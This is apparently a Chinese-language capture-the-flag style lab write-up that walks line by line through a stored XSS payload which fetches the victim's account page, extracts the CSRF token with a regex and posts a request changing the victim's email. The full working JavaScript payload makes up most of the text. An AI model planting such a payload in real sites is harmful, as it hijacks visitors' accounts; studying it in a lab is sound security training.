# Cross-site scripting Lab24
本題是利用 Stored XSS 幫我們繞過 CSRF 防護機制,讓瀏覽者(受害者)自動對伺服器送出一個帶有合法 CSRF token 的請求。
一樣先進入網站。

登入帳號並攔截請求。

這裡可以得知我們在修改 email 的時候會用到 email 跟有一個名為 csrf 的隱藏欄位。
回到表單,我們輸入:
```html
<script>
var req = new XMLHttpRequest();
req.onload = function() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('POST', '/my-account/change-email', true);
changeReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
changeReq.send('csrf=' + token + '&email=test@test.com');
};
req.open('GET', '/my-account', true);
req.send();
</script>
```
```
var req = new XMLHttpRequest();
```
建立第一個請求物件,用來發出 GET `/my-account`,目的是取得含有 CSRF token 的 HTML。
```
req.onload = function() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
```
這一行是利用 regex 抓出 `name="csrf" value="..."`,`(\w+)` 表示匹配一串英數底線組成的 token,`.match(...)[1]` 就能取出 token 本體。
:::danger
如果 regex 抓不到或 HTML 結構有變,這邊會報錯(建議加 try-catch 做保護)
:::
```js
var changeReq = new XMLHttpRequest();
changeReq.open('POST', '/my-account/change-email', true);
changeReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
changeReq.send('csrf=' + token + '&email=test@test.com');
```
這段就是利用你剛剛偷到的 token:
- 送出合法的 POST 請求
- 修改受害者帳號的 email 成 test@test.com
```
};
req.open('GET', '/my-account', true);
req.send();
```
觸發請求,完成一整套「偷 token → 發請求」的自動攻擊流程。

---